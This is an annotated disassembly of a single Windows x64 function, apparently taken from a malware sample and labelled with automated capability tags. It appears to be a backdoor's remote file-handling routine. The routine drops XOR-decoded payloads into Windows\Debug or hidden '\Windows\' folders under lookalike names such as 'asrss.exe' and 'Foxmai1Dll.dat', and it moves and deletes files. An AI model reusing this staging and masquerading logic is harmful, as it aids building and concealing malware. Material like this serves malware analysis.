Function at 0x18001061c
Capabilities:
Create directory
Delete file
Get common file path
Move file
Print debug messages
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb90]
sub rsp, 0xc90
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0xb80], rax
movzx r8d, word [rdx + 1]
mov eax, 0x100a
mov r12, rdx
mov rsi, rcx
cmp r8d, eax
jg 0x180010f60
je 0x180010f22
sub r8d, 3
je 0x180010b2b
sub r8d, 0xffe
je 0x180010945
dec r8d
je 0x18001087d
dec r8d
je 0x180010841
dec r8d
je 0x1800107f3
dec r8d
je 0x1800107df
dec r8d
je 0x1800106fc
dec r8d
je 0x1800106d5
cmp r8d, 2
jne 0x180011827
lea rcx, [0x180050ff0]
call fcn.180007708
xor r9d, r9d
mov r8b, 1
lea edx, [r9 + 5]
jmp 0x180010839
mov rdx, rcx
lea rcx, [0x180050ff0]
call fcn.180007670
test al, al
jne 0x180011827
or r8d, 0xffffffff
lea rdx, str.tst111
jmp 0x1800107ce
mov r8d, dword [rdx + 0xf]
xor edi, edi
test r8d, r8d
jle 0x180010721
lea rdx, str.tst001
lea rcx, [0x180050870]
mov dword [0x180050e8c], r8d
call fcn.180006544
mov r8d, dword [r12 + 0x13]
test r8d, r8d
jle 0x180010745
lea rdx, str.tst002
lea rcx, [0x180050870]
mov dword [0x180050e90], r8d
call fcn.180006544
mov al, byte [r12 + 0x17]
test al, al
jle 0x18001076b
lea rdx, str.tst003
lea rcx, [0x180050870]
movsx r8d, al
mov byte [0x180050e94], al
call fcn.180006544
cmp byte [r12 + 0x19], 1
jne 0x18001077c
mov byte [0x180050eb7], 1
jmp 0x18001078a
cmp byte [r12 + 0x19], dil
jne 0x1800107a3
mov byte [0x180050eb7], dil
movsx r8d, byte [r12 + 0x19]
lea rdx, str.tst009
lea rcx, [0x180050870]
call fcn.180006544
movsx ebx, byte [r12 + 0x18]
xor r9d, r9d
mov r8b, 1
lea edx, [r9 + 1]
mov rcx, rsi
call fcn.18000e8a8
cmp ebx, 1
jne 0x180011827
mov r8d, ebx
lea rdx, str.tst004
lea rcx, [0x180050870]
call fcn.180006544
jmp 0x180011827
mov r8b, 2
add rdx, 0xf
xor r9d, r9d
call fcn.180012294
jmp 0x180011827
lea rcx, [rbp + 0x61]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x60], dil
call fcn.180019880
lea rdx, [r12 + 0xf]
lea rcx, [rbp + 0x60]
call fcn.180019fe0
lea rdx, [rbp + 0x60]
lea rcx, [0x180050870]
xor r8d, r8d
call fcn.180005c20
lea edx, [rdi + 3]
test eax, eax
setne r8b
lea r9, [r12 + 0xf]
mov rcx, rsi
jmp 0x180011778
lea rcx, [rdx + 0xf]
xor edi, edi
call fcn.18001b8d0
movzx ecx, word [r12 + 0xd]
add rax, 5
cmp rcx, rax
jne 0x18001086a
lea rcx, [r12 + 0xf]
call fcn.18001b8d0
mov edi, dword [rax + r12 + 0x10]
mov r9d, edi
mov r8b, 1
lea rdx, [r12 + 0xf]
mov rcx, rsi
jmp 0x1800107e9
xor edi, edi
cmp word [rdx + 0xd], di
jbe 0x180011827
lea r13, [rdx + 0xf]
lea rcx, [r13 + 8]
call fcn.18001b8d0
lea rdx, [r13 + 8]
mov rcx, rsi
add eax, 9
cdqe
mov r12b, byte [rax + r12 + 0xf]
call fcn.18000fb88
test rax, rax
jne 0x180010921
cmp byte [rsi + 0xf738], dil
je 0x180011827
test r12b, r12b
jne 0x180011827
cmp byte [rsi + 0xf739], dil
jne 0x180011827
mov rcx, rsi
call fcn.18000d7fc
mov rcx, rsi
mov byte [rsi + 0xf739], 1
call fcn.18000d81c
jmp 0x1800108f8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rsi + 0xf739], dil
jne 0x1800108ed
mov rcx, rsi
call fcn.18000d7fc
mov r11d, dword [r13 + 4]
mov rcx, rsi
mov dword [rsi + 0xf73c], r11d
call fcn.18000d81c
jmp 0x180011827
test r12b, r12b
je 0x180010939
mov r8, r13
mov rdx, rax
mov rcx, rsi
call fcn.18000fe54
jmp 0x180011827
or dword [rax + 0x104], 0xffffffff
jmp 0x180011827
lea rcx, [rdx + 0x17]
call fcn.18001b8d0
movzx r15d, word [r12 + 0xd]
lea rcx, [rsp + 0x51]
add eax, 9
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x40], rax
sub r15d, eax
mov byte [rsp + 0x50], dil
call fcn.180019880
lea rdx, str..spi
lea rcx, [r12 + 0x17]
call fcn.18001c168
test rax, rax
jne 0x180010996
xor r9d, r9d
jmp 0x180010b9c
mov eax, dword [0x1800531d8]
cmp eax, 2
je 0x1800109fb
cmp eax, 3
je 0x1800109fb
lea rcx, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x1800109db
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
mov byte [rsp + rax + 0x50], 0x5c
lea rdx, str.Debug_
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x180010a32
lea rdx, [rsp + 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x180010a32
lea rdx, [0x18003df60]
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rcx, [r12 + 0x17]
mov edx, 0x5c
call fcn.18001c6b0
lea rcx, [rsp + 0x50]
lea rdx, [rax + 1]
test rax, rax
jne 0x180010a54
lea rdx, [r12 + 0x17]
call fcn.180019f40
lea rdx, [rsi + 0xf4d9]
lea rcx, [rsp + 0x50]
call fcn.18001e5e0
test eax, eax
je 0x180010a7f
lea rdx, [rsp + 0x50]
lea rcx, [rsi + 0xf4d9]
call fcn.180019fe0
lea rcx, [rsp + 0x50]
lea rdx, [0x18003d964]
cmp dword [r12 + 0x13], edi
je 0x180010a99
lea rdx, [0x18003f8a4]
call fcn.18001b560
mov r14, rax
test rax, rax
je 0x18001098e
mov edx, dword [r12 + 0x13]
xor r8d, r8d
mov rcx, rax
call fcn.18001eac8
movsxd rax, dword [rsp + 0x40]
movsxd rbx, r15d
lea rcx, [rax + r12 + 0xf]
mov r9, r14
mov r8, rbx
mov edx, 1
call fcn.18001b3f8
cmp rax, rbx
je 0x180010afb
lea r8, [r12 + 0xf]
xor r9d, r9d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call fcn.18000e680
mov rcx, r14
jmp 0x180010ef4
mov rcx, r14
call fcn.18001a170
add dword [r12 + 0x13], r15d
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
mov r9b, 1
test rax, rax
mov dl, r9b
cmove rcx, rdi
mov qword [rsp + 0x20], rcx
jmp 0x180010ba3
lea rcx, [rdx + 0x17]
call fcn.18001b8d0
movzx ecx, word [r12 + 0xd]
lea rdx, str.__MNBVCXZ_LKJHGFDSAPOIUYTREWQ_______
add eax, 9
sub ecx, eax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], ecx
lea rcx, [r12 + 0x17]
call fcn.18001c168
xor edi, edi
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x38], dil
mov rbx, rax
mov byte [rsp + 0x50], dil
call fcn.180019880
test rbx, rbx
jne 0x180010cc4
lea rdx, [0x18003f8b0]
lea rcx, [r12 + 0x17]
call fcn.18001c168
test rax, rax
jne 0x180010bb5
mov r9b, 1
xor edx, edx
mov qword [rsp + 0x20], rdi
lea r8, [r12 + 0xf]
mov rcx, rsi
call fcn.18000e680
jmp 0x180011827
mov eax, dword [0x1800531d8]
cmp eax, 2
je 0x180010c03
cmp eax, 3
je 0x180010c03
lea rcx, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x180010bfa
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
mov byte [rsp + rax + 0x50], 0x5c
lea rdx, str.Debug_
jmp 0x180010c48
mov r9d, 1
lea rdx, [rsp + 0x50]
xor ecx, ecx
lea r8d, [r9 + 0x22]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x180010c41
lea rdx, [0x18003df60]
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rdx, str.Windows_
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [r12 + 0x17]
mov edx, 0x5c
call fcn.18001c6b0
lea rcx, [rsp + 0x50]
lea rdx, [rax + 1]
test rax, rax
jne 0x180010c81
lea rdx, [r12 + 0x17]
call fcn.180019f40
lea rcx, [rsp + 0x50]
mov edx, 0x2e
call fcn.18001c6b0
lea rdx, str.Dll.dat
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.18001c168
test rax, rax
je 0x180010cbd
lea rdx, str..dll
mov rcx, rbx
call fcn.180019fe0
lea rbx, [rsp + 0x50]
jmp 0x180010cc7
inc rbx
lea rdx, [0x18003fb40]
mov rcx, rbx
call fcn.18001c168
lea rcx, [rbp + 0x60]
mov r13, rax
test rax, rax
je 0x180010d02
lea rdx, [0x180050974]
call fcn.180019fe0
lea rdx, [r13 + 3]
lea rcx, [rbp + 0x60]
call fcn.180019f40
mov byte [rsp + 0x38], 1
jmp 0x180010d0a
mov rdx, rbx
call fcn.180019fe0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x60]
lea rcx, [0x180050ff0]
mov r9d, 0xfde9
mov qword [rsp + 0x30], rdi
call fcn.180008328
lea rdx, [rbp + 0x60]
lea rcx, [0x180050ff0]
call fcn.180008410
mov rcx, qword [rsp + 0x30]
test al, al
je 0x180010d7c
lea rdx, [0x18003fb38]
call fcn.18001f06c
mov r13, rax
test rax, rax
jne 0x180010d8b
lea rcx, [0x18003df5c]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [r13 + 0x14]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x30]
lea rdx, [0x18003fb38]
jmp 0x180010d83
lea rdx, [0x18003f87c]
call fcn.18001f06c
mov r13, rax
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180010d9f
call fcn.18001a1d8
mov qword [rsp + 0x30], rdi
test r13, r13
je 0x18001098e
lea rdx, [rsi + 0xf4d9]
mov rcx, rbx
call fcn.18001e5e0
test eax, eax
je 0x180010dca
lea rcx, [rsi + 0xf4d9]
mov rdx, rbx
call fcn.180019fe0
xor edx, edx
mov rcx, r13
lea r8d, [rdx + 2]
call fcn.18001eac8
mov rcx, r13
call fcn.18001ef34
mov edx, dword [r12 + 0x13]
movsxd r15, dword [rsp + 0x48]
sub eax, edx
cmp eax, r15d
jbe 0x180010e84
xor r8d, r8d
mov rcx, r13
call fcn.18001eac8
mov rcx, r15
mov rbx, r15
call fcn.18001b978
mov r15, rax
test rax, rax
je 0x180010e7f
mov r9, r13
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001e510
movsxd r11, dword [rsp + 0x40]
mov r8, rbx
lea rdx, [r12 + r11 + 0xf]
mov rcx, r15
call fcn.18001dcc0
test eax, eax
jne 0x180010e54
mov rcx, r13
call fcn.18001a170
mov rcx, rsi
call fcn.18000db4c
jmp 0x180011827
cmp dword [r12 + 0x13], edi
jne 0x180010e7f
mov rcx, r13
call fcn.18001a170
lea rdx, [0x18003d964]
lea rcx, [rbp + 0x60]
call fcn.18001b560
mov r13, rax
test rax, rax
je 0x18001098e
mov r15d, dword [rsp + 0x48]
mov edx, dword [r12 + 0x13]
xor r8d, r8d
mov rcx, r13
call fcn.18001eac8
cmp byte [rsp + 0x38], dil
je 0x180010eb8
movsxd rax, dword [rsp + 0x40]
movsxd rcx, r15d
test r15d, r15d
jle 0x180010eb8
lea rax, [r12 + rax + 0xf]
xor byte [rax], 0x4c
inc rax
dec rcx
jne 0x180010ead
movsxd rax, dword [rsp + 0x40]
movsxd rbx, r15d
mov r9, r13
lea rcx, [r12 + rax + 0xf]
mov r8, rbx
mov edx, 1
call fcn.18001b3f8
cmp rax, rbx
je 0x180010efe
lea r8, [r12 + 0xf]
xor r9d, r9d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call fcn.18000e680
mov rcx, r13
call fcn.18001a170
jmp 0x180011827
mov rcx, r13
call fcn.18001a170
lea rcx, [0x18003df5c]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add dword [r12 + 0x13], r15d
xor r9d, r9d
mov dl, 1
jmp 0x180010b9e
xor edi, edi
mov byte [rcx + 0xf4c0], 1
mov qword [rcx + 0xf4c8], rdi
call fcn.18000dc04
cmp byte [rsi + 0xf4d8], dil
je 0x180010f54
mov rcx, rsi
call fcn.18000ea58
mov byte [rsi + 0xf4d8], dil
jmp 0x180011827
mov byte [rsi + 0xf4d8], 1
jmp 0x180011827
sub r8d, 0x100b
je 0x180011764
dec r8d
je 0x180011540
dec r8d
je 0x180011523
dec r8d
je 0x180011214
sub r8d, 2
je 0x1800111ef
dec r8d
je 0x1800110b1
dec r8d
je 0x180010fb1
dec r8d
jne 0x180011827
mov r8b, 5
jmp 0x1800107e2
xor edi, edi
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x50], dil
call fcn.180019880
lea rcx, [rbp + 0x61]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x60], dil
call fcn.180019880
add r12, 0xf
lea rdx, str.Foxmai1Dll.dat
mov rcx, r12
call fcn.18001c168
test rax, rax
je 0x180011827
lea r8, [0x180050870]
lea rdx, str._sD950734B_7260_4337_B3E0_AF6AC1C926BA.zip
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [0x180050870]
call fcn.1800057e4
test eax, eax
jle 0x180011094
mov ebx, edi
mov r13d, eax
mov rax, qword [rsp + 0x40]
lea r8, [0x180050870]
lea rdx, str._sD950734B_7260_4337_B3E0_AF6AC1C926BA_s
lea r9, [rbx + rax]
lea rcx, [rbp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call fcn.1800102b4
cmp eax, 1
jne 0x18001107d
lea rcx, [rbp + 0x60]
mov dil, al
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 0x104
dec r13
jne 0x180011038
cmp dil, 1
jne 0x180011094
mov r8b, dil
jmp 0x180011097
xor r8d, r8d
mov r9, r12
mov edx, 0xa
mov rcx, rsi
call fcn.18000e8a8
mov rcx, qword [rsp + 0x40]
jmp 0x18001175a
mov ebx, 0x3ff
lea rcx, [rbp + 0x381]
xor edi, edi
mov r8d, ebx
xor edx, edx
mov byte [rbp + 0x380], dil
call fcn.180019880
lea rcx, [rbp + 0x781]
mov r8d, ebx
xor edx, edx
mov byte [rbp + 0x780], dil
call fcn.180019880
lea rcx, [rbp + 0x171]
xor edx, edx
mov r8d, 0x208
mov byte [rbp + 0x170], dil
call fcn.180019880
add r12, 0xf
lea rcx, [rbp + 0x170]
mov rdx, r12
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
call fcn.180019fe0
lea edx, [rdi + 0x3e]
mov rcx, r12
call fcn.18001eca0
mov rbx, rax
test rax, rax
je 0x1800111db
lea rdx, [rax + 1]
lea rcx, [rbp + 0x780]
call fcn.180019fe0
lea rcx, [rbp + 0x380]
mov rdx, r12
mov byte [rbx], dil
call fcn.180019fe0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x380]
lea rcx, [0x180050ff0]
mov r9d, 0xfde9
call fcn.180008328
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x780]
lea rcx, [0x180050ff0]
mov r9d, 0xfde9
call fcn.180008328
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea r9, [rbp + 0x170]
lea edx, [rdi + 9]
test eax, eax
mov rcx, rsi
setne r8b
call fcn.18000e8a8
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1800111d1
call fcn.18001a1d8
mov qword [rsp + 0x30], rdi
mov rcx, qword [rsp + 0x40]
jmp 0x180011751
lea r9, [rbp + 0x170]
mov edx, 9
mov rcx, rsi
jmp 0x180011775
lea rdx, [rbp + 0x60]
lea rcx, [0x180050870]
mov r8d, 5
call fcn.180005954
xor r9d, r9d
mov r8b, 4
lea rdx, [rbp + 0x60]
jmp 0x180010875
lea rcx, [rdx + 0x17]
call fcn.18001b8d0
xor edi, edi
xor edx, edx
lea ecx, [rax + 9]
movzx eax, word [r12 + 0xd]
mov r8d, 0x103
sub eax, ecx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x51]
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x50], dil
call fcn.180019880
lea rdx, str.__MNBVCXZ_LKJHGFDSAPOIUYTREWQ_______
lea rcx, [r12 + 0x17]
mov r15b, dil
call fcn.18001c168
mov rbx, rax
test rax, rax
jne 0x1800113b5
lea rdx, [0x18003f8b0]
lea rcx, [r12 + 0x17]
call fcn.18001c168
test rax, rax
je 0x180010b99
mov eax, dword [0x1800531d8]
cmp eax, 2
je 0x1800112d2
cmp eax, 3
je 0x1800112d2
lea rcx, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x1800112c9
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
mov byte [rsp + rax + 0x50], 0x5c
lea rdx, str.Debug_
jmp 0x180011317
mov r9d, 1
lea rdx, [rsp + 0x50]
xor ecx, ecx
lea r8d, [r9 + 0x22]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x180011310
lea rdx, [0x18003df60]
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rdx, str.Windows_
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [r12 + 0x17]
mov edx, 0x5c
call fcn.18001c6b0
lea rcx, [rsp + 0x50]
lea rdx, [rax + 1]
test rax, rax
jne 0x180011350
lea rdx, [r12 + 0x17]
call fcn.180019f40
lea rcx, [rsp + 0x50]
mov edx, 0x2e
call fcn.18001c6b0
lea rdx, str.Dll.dat
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.18001c168
test rax, rax
je 0x180011386
lea rdx, str..dll
jmp 0x1800113a3
lea rdx, str.zip.dat
lea rcx, [rsp + 0x50]
call fcn.18001c168
test rax, rax
jne 0x1800113ab
lea rdx, str..exe
mov rcx, rbx
call fcn.180019fe0
lea rbx, [rsp + 0x50]
mov r15b, 1
jmp 0x1800113b8
inc rbx
lea rdx, [rsi + 0xf4d9]
mov rcx, rbx
call fcn.18001e5e0
test eax, eax
je 0x1800113da
lea rcx, [rsi + 0xf4d9]
mov rdx, rbx
call fcn.180019fe0
lea r8, [rsp + 0x30]
lea rcx, [0x180050ff0]
mov r9d, 0xfde9
mov rdx, rbx
mov qword [rsp + 0x30], rdi
call fcn.180008328
mov rcx, qword [rsp + 0x30]
lea rdx, [0x18003f87c]
cmp dword [r12 + 0x13], edi
je 0x180011413
lea rdx, [0x18003fb38]
call fcn.18001f06c
mov r14, rax
test rax, rax
jne 0x18001149e
test r15b, r15b
je 0x180011492
lea rdx, str.asrss.exe
mov rcx, rbx
call fcn.18001c168
test rax, rax
je 0x180011492
lea r9, str.cklime
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
test rax, rax
je 0x180011492
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180011489
mov eax, dword [r12 + 0xf]
mov qword [rsp + 0x20], rdi
mov dword [r12 + 0x13], eax
mov r9b, 1
mov dl, r9b
lea r8, [r12 + 0xf]
mov rcx, rsi
call fcn.18000e680
jmp 0x18001174c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], rdi
mov r9b, 1
xor edx, edx
jmp 0x180011477
mov edx, dword [r12 + 0x13]
xor r8d, r8d
mov rcx, r14
call fcn.18001eac8
movsxd rax, dword [rsp + 0x40]
movsxd r15, dword [rsp + 0x48]
lea rcx, [rax + r12 + 0xf]
mov r9, r14
mov r8, r15
mov edx, 1
call fcn.18001b3f8
cmp rax, r15
je 0x1800114f6
lea r8, [r12 + 0xf]
mov r9b, 1
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call fcn.18000e680
mov rcx, r14
call fcn.18001a170
jmp 0x18001174c
mov rcx, r14
call fcn.18001a170
add dword [r12 + 0x13], r15d
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
test rax, rax
cmove rcx, rdi
mov qword [rsp + 0x20], rcx
jmp 0x180011471
lea rcx, [0x180050870]
add rdx, 0xf
call fcn.1800063e0
mov edx, 8
mov r8b, al
jmp 0x180010834
lea rcx, [rsp + 0x51]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], dil
call fcn.180019880
add r12, 0xf
lea r8, [rsp + 0x30]
lea rcx, [0x180050ff0]
mov rdx, r12
mov r9d, 0xfde9
mov qword [rsp + 0x30], rdi
call fcn.180008328
mov rcx, qword [rsp + 0x30]
lea rdx, str.B:.dat
call fcn.18001a358
test eax, eax
jne 0x1800115de
lea rdx, [0x180050974]
lea rcx, [rsp + 0x50]
call fcn.180019fe0
lea rdx, str.netcon.dat
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea r9, [rsp + 0x50]
lea r8, [0x18003df5c]
lea rdx, str.ckexit
lea rcx, [0x18003faac]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
test eax, eax
setne r8b
jmp 0x18001173c
mov rcx, qword [rsp + 0x30]
lea rdx, str..dat
call fcn.180019a18
test rax, rax
je 0x18001172a
mov rcx, qword [rsp + 0x30]
mov edx, 0x5c
call fcn.18001c6d8
test rax, rax
jne 0x18001172a
mov eax, dword [0x1800531d8]
cmp eax, 2
je 0x18001165e
cmp eax, 3
je 0x18001165e
lea rcx, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x180011655
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
mov byte [rsp + rax + 0x50], 0x5c
lea rdx, str.Debug_
jmp 0x1800116a3
mov r9d, 1
lea rdx, [rsp + 0x50]
xor ecx, ecx
lea r8d, [r9 + 0x22]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rsp + 0x50]
call fcn.18001b8d0
lea rcx, [rsp + 0x50]
cmp byte [rax + rcx - 1], 0x5c
je 0x18001169c
lea rdx, [0x18003df60]
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rdx, str.Windows_
lea rcx, [rsp + 0x50]
call fcn.180019f40
lea rcx, [rsp + 0x50]
mov rdx, r12
call fcn.180019f40
lea rdx, [0x18003f8b0]
lea rcx, [rsp + 0x50]
call fcn.18001c168
lea rdx, str.Dll.dat
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.18001c168
mov byte [rbx + 1], dil
lea rcx, [rsp + 0x50]
lea rdx, [0x18003fa98]
test rax, rax
jne 0x1800116fb
lea rdx, [0x18003e6fc]
call fcn.180019f40
lea rdx, [rsp + 0x50]
lea rcx, [0x180050ff0]
call fcn.1800086fc
test al, al
jne 0x180011739
lea rdx, [rsp + 0x50]
lea rcx, [0x180050ff0]
call fcn.1800087a8
mov al, 1
jmp 0x180011739
lea rcx, [0x180050ff0]
mov rdx, r12
call fcn.1800086fc
mov r8b, al
mov r9, r12
mov edx, 7
mov rcx, rsi
call fcn.18000e8a8
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180011827
call fcn.18001a1d8
jmp 0x180011827
lea rbx, [rdx + 0xd]
xor r9d, r9d
cmp word [rbx], 0x21
lea edx, [r9 + 6]
jbe 0x180011782
xor r8d, r8d
call fcn.18000e8a8
jmp 0x180011827
mov r8b, 1
call fcn.18000e8a8
lea r14, [0x180050e95]
mov rcx, r14
call fcn.18001b8d0
xor edi, edi
test rax, rax
je 0x1800117b1
lea rdx, [r12 + 0xf]
mov rcx, r14
call fcn.18001ec58
test eax, eax
je 0x18001181c
lea rdx, [r12 + 0xf]
mov rcx, r14
call fcn.180019fe0
movzx ecx, word [rbx]
call fcn.18001b978
mov r13, rax
test rax, rax
je 0x180011827
movzx ecx, word [rbx]
mov edx, edi
dec ecx
test ecx, ecx
jle 0x1800117f6
mov rcx, rax
sub r12, rax
mov al, byte [r12 + rcx + 0xf]
inc edx
xor al, 0xfe
mov byte [rcx], al
movzx eax, word [rbx]
inc rcx
dec eax
cmp edx, eax
jl 0x1800117df
movzx eax, word [rbx]
lea rdx, str.tst010
lea rcx, [0x180050870]
mov r8, r13
mov byte [rax + r13 - 1], dil
call fcn.180005f80
mov rcx, r13
call fcn.18001a1d8
mov rdx, r14
mov rcx, rsi
call fcn.18000f9e8
mov rcx, qword [rbp + 0xb80]
xor rcx, rsp
call fcn.180019850
mov rbx, qword [rsp + 0xce0]
add rsp, 0xc90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret